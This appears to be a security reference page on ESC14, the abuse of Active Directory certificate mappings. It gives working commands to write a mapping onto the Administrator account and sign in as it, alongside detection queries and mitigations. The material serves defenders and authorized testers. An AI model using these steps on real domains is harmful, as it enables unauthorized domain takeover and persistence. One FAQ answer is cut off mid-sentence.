How it works
A domain controller normally finds the account behind a certificate from what the certificate says: a UPN or DNS name in the subject alternative name, or the SID in the security extension. That is implicit mapping. Explicit mapping works the other way round. The account's altSecurityIdentities attribute lists the certificates that may sign in as it, and a certificate that matches one of the values is accepted for that account whatever names it carries.
Each value has a format, and the format decides its strength:
| Mapping | Value format | Pins | Strength |
|---|---|---|---|
| Issuer and serial number | X509:<I>Issuer<SR>Serial |
One certificate | Strong |
| Subject key identifier | X509:<SKI>... |
One key pair | Strong |
| SHA1 of public key | X509:<SHA1-PUKEY>... |
One key pair | Strong |
| Issuer and subject | X509:<I>Issuer<S>Subject |
Names | Weak |
| Subject only | X509:<S>Subject |
A name | Weak |
| RFC822 name | X509:<RFC822>user@example.com |
An email address | Weak |
On Windows Server 2022 and 2025 domain controllers with the 2025 updates, an issuer plus SID form is also strong; it applies to certificates that carry the account's SID.
ESC14 covers two kinds of exposure in AD CS environments.
Write access to the attribute (scenario A). Whoever can write altSecurityIdentities on a target can add a strong mapping that points at a certificate they already hold. The certificate only has to chain to a CA that domain controllers trust for logon. A machine certificate from the default Machine template, enrolled by a computer account the attacker controls, is enough. The attacker then requests a ticket for the target's name with that certificate, and the domain controller accepts it because the target's own attribute says so. This works under Full Enforcement.
The rights that give this write access are: write property on altSecurityIdentities, write property on the Public-Information property set (which contains the attribute), write all properties, GenericWrite, GenericAll, and WriteDACL, WriteOwner or ownership, which let the attacker grant the rest.
An existing weak mapping (scenarios B, C and D). If the target already has an RFC822, issuer plus subject, or subject-only mapping, an attacker who can change the mail, cn or dNSHostName of another account they control can enroll that account for a certificate carrying the matching value. These variants need a domain controller that still honors weak mappings, and the RFC822 variant also needs a template without the SID extension, so on a fully updated estate they are cleanup items.
Used after a compromise, scenario A is the persistence technique known as PERSIST4: a mapping planted on a privileged account keeps working after every password reset. It is the certificate counterpart of shadow credentials.
Prerequisites
For scenario A:
- Write access to
altSecurityIdentitieson the target through one of the rights listed above. - A certificate and private key from a CA in the NTAuth store, with an authentication EKU. The original research uses a computer certificate, which requires an administrative session on a domain-joined computer or the credentials of a computer account. By default any user can create such an account through the machine account quota.
- Network access to a domain controller.
For the weak mapping scenarios:
- A target whose
altSecurityIdentitiesholds a weak value. - Write access to the matching naming attribute of an account that can enroll.
- A domain controller that accepts weak mappings.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find writable targets and existing mappings
Read every populated mapping in the domain:
Get-ADObject -LDAPFilter "(altSecurityIdentities=*)" `
-Properties altSecurityIdentities, objectClass |
Select-Object Name, objectClass, altSecurityIdentities
The scripts published with the ESC14 research list weak mappings and the principals that can write the attribute on an object:
Get-AltSecIDMapping -SearchBase "DC=corp,DC=example,DC=com" -ExcludeStrong
Get-WriteAltSecIDACEs -DistinguishedName "CN=Administrator,CN=Users,DC=corp,DC=example,DC=com"
Certipy and Certify do not detect ESC14. Attack path tools show the broader rights (GenericWrite, GenericAll, WriteDACL, WriteOwner) that include it.
2. Obtain a certificate to map
From an administrative session on a computer the attacker controls, Certify requests a machine certificate as SYSTEM:
Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template Machine --machine
From Linux, with the credentials of a computer account:
certipy req -u 'ws01$@corp.example.com' -p '<computer-account-password>' \
-dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
-ca 'CORP-CA' -template 'Machine'
3. Build the mapping string
Read the issuer and serial number of the certificate:
certutil -dump -v ws01.pfx
The issuer and serial number mapping stores both in reverse order: the issuer's name components from last to first, and the serial number's bytes from last to first. The research's helper function produces the string:
Get-X509IssuerSerialNumberFormat -SerialNumber "6c0000002559f904dbc638e8a5000000000025" `
-IssuerDistinguishedName "CN=CORP-CA,DC=corp,DC=example,DC=com"
# X509:<I>DC=com,DC=example,DC=corp,CN=CORP-CA<SR>250000000000a5e838c6db04f959250000006c
4. Write the mapping on the target
Add-AltSecIDMapping -DistinguishedName "CN=Administrator,CN=Users,DC=corp,DC=example,DC=com" `
-MappingString "X509:<I>DC=com,DC=example,DC=corp,CN=CORP-CA<SR>250000000000a5e838c6db04f959250000006c"
The ActiveDirectory module does the same without extra scripts:
Set-ADUser -Identity Administrator -Add @{altSecurityIdentities='X509:<I>DC=com,DC=example,DC=corp,CN=CORP-CA<SR>250000000000a5e838c6db04f959250000006c'}
5. Authenticate as the target
Name the target account in the request. The certificate itself still says ws01:
Rubeus.exe asktgt /user:Administrator /certificate:ws01.pfx /nowrap
certipy auth -pfx 'ws01.pfx' -dc-ip 192.0.2.10 -username 'administrator' -domain 'corp.example.com'
6. Remove the mapping, or leave it
An operator who wants a one-time escalation removes the value:
Remove-AltSecIDMapping -DistinguishedName "CN=Administrator,CN=Users,DC=corp,DC=example,DC=com" `
-MappingString "X509:<I>DC=com,DC=example,DC=corp,CN=CORP-CA<SR>250000000000a5e838c6db04f959250000006c"
Left in place, it is persistence: the same command in step 5 works until the certificate expires, and a subject key identifier mapping keeps working across renewals that reuse the key.
Impact
Scenario A turns a write right on one attribute into full use of the target account. On a Domain Admin or a domain controller's computer account that is control of the domain. The PKINIT logon also returns the target's NT hash.
As persistence it outlasts the usual response. Resetting the target's password, or rotating its Kerberos keys, does not touch the mapping. Revoking the mapped certificate takes effect only once the new CRL has been published and reached the domain controllers. The mapping has to be found and removed.
OPSEC and artifacts
- One attribute write. The whole escalation is a single change to
altSecurityIdentitieson the target. With directory change auditing and a SACL on the account, the domain controller writes event 5136 with the full mapping string, which names the issuer and serial number of the certificate. If the operator removes the value afterward, a second 5136 records the deletion. - The certificate looks unrelated. An operator uses a certificate that already exists, or enrolls a routine machine certificate. Event 4887 on the CA shows a computer enrolling in the
Machinetemplate, which is normal. Only the serial number links it to the mapping. - A new computer account. If the operator creates a computer account to enroll with, event 4741 records who created it.
- The logon names two identities. Event 4768 shows a TGT for the target with certificate pre-authentication, and its certificate fields hold the issuer, serial number and thumbprint of a certificate that was issued to someone else. The source address is the operator's host. The research found no event that states that an explicit mapping was used.
- Weak mapping variants are louder. They change
mail,cnordNSHostNameon a second account and, where the domain controller still accepts weak mappings, the sign-in produces KDC event 39. - The value stays readable. Any authenticated user who can read the target can see the mapping, so a later inventory finds persistence that was left behind.
Detection
- Writes to the attribute. Alert on every 5136 where
AttributeLDAPDisplayNameisaltSecurityIdentities, and raise the severity when the object is privileged or the writer is not a PKI or identity administrator. The explicit certificate mapping rules cover added mappings and, separately, weak formats. - Serial number cross-check. Join the serial number in a new mapping, reversed back to normal byte order, against the CA's issued certificates. A mapping on an administrator that points to a certificate issued to a workstation is not a legitimate design.
- Certificate logon with someone else's certificate. For 4768 events with certificate fields, look up
CertSerialNumberin the CA database and compare the certificate's requester withTargetUserName. - Permission changes that open the path. A DACL change on a privileged account that grants write access to the attribute or the property set: the DACL modification rules.
- Computer accounts created by users. See the machine account creation rules.
- Weak mappings in use. KDC events 39 to 41 are covered by the weak certificate mapping rules.
// Explicit certificate mappings written to accounts
WindowsEvent
| where EventID == 5136 and Provider == "Microsoft-Windows-Security-Auditing"
| where tostring(EventData.AttributeLDAPDisplayName) =~ "altSecurityIdentities"
| project TimeGenerated, Computer,
Actor = tostring(EventData.SubjectUserName),
ObjectDN = tostring(EventData.ObjectDN),
Mapping = tostring(EventData.AttributeValue),
Operation = tostring(EventData.OperationType)
| order by TimeGenerated desc
Event 5136 needs Audit Directory Service Changes on domain controllers and a SACL that audits writes to the attribute on the accounts.
Mitigation
- Restrict who can write the attribute. Review write access to
altSecurityIdentitiesand to the Public-Information property set on all Tier 0 accounts first, then on all accounts that can sign in with certificates. Remove broadGenericWriteandGenericAlldelegations. Prefer changing the existing permissions over adding deny entries. The Active Directory hardening guide covers the delegation review. - Inventory existing mappings. Run the query in step 1 on a schedule and account for every value. Remove weak formats and replace the ones still needed with issuer and serial number or subject key identifier mappings.
- Keep domain controllers patched and in Full Enforcement so weak mappings are rejected.
- Limit machine account creation. Setting the quota to zero removes the easiest way to obtain a certificate for mapping; the MachineAccountQuota guide has the steps.
- Audit the attribute. Add a SACL for writes to
altSecurityIdentitieson users and computers, as described in the audit policy guide. - Include the attribute in incident response. When an account is considered compromised, clear unknown values of
altSecurityIdentitiesandmsDS-KeyCredentialLinktogether with the password reset, and revoke the certificates the mappings pointed to.
Detection rules for this attack
Log events to collect
FAQ
What is altSecurityIdentities?
A multi-valued attribute on user and computer accounts that lists certificates allowed to sign in as that account. Each value describes a certificate, for example by issuer and serial number. Administrators use it to map certificates that do not carry the account's name or SID. Microsoft calls this explicit mapping.
Which explicit mappings are strong and which are weak?
Strong: issuer plus serial number (X509:...
Does Full Enforcement stop ESC14?
It stops the variants that depend on an existing weak mapping. It does not stop an attacker who can write the attribute, because they add a strong mapping, which Full Enforcement accepts by design.
How is ESC14 different from shadow credentials?
Both add a logon credential to an account by writing one attribute. Shadow credentials write a public key to msDS-KeyCredentialLink and use key trust. ESC14 writes a reference to a CA-issued certificate to altSecurityIdentities. The second needs a certificate from a CA that domain controllers trust for logon, and many tools that watch key credentials do not watch this attribute.
References
- ADCS ESC14 Abuse Technique (Jonas Bulow Knudsen, SpecterOps)
- Steal or Forge Authentication Certificates, T1649 (MITRE ATT&CK)
- Account Manipulation, T1098 (MITRE ATT&CK)
- KB5014754: Certificate-based authentication changes on Windows domain controllers (Microsoft Support)
- MS-PKCA Appendix A: Product Behavior (Microsoft Learn)
- Certipy wiki: Privilege Escalation, ESC14
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.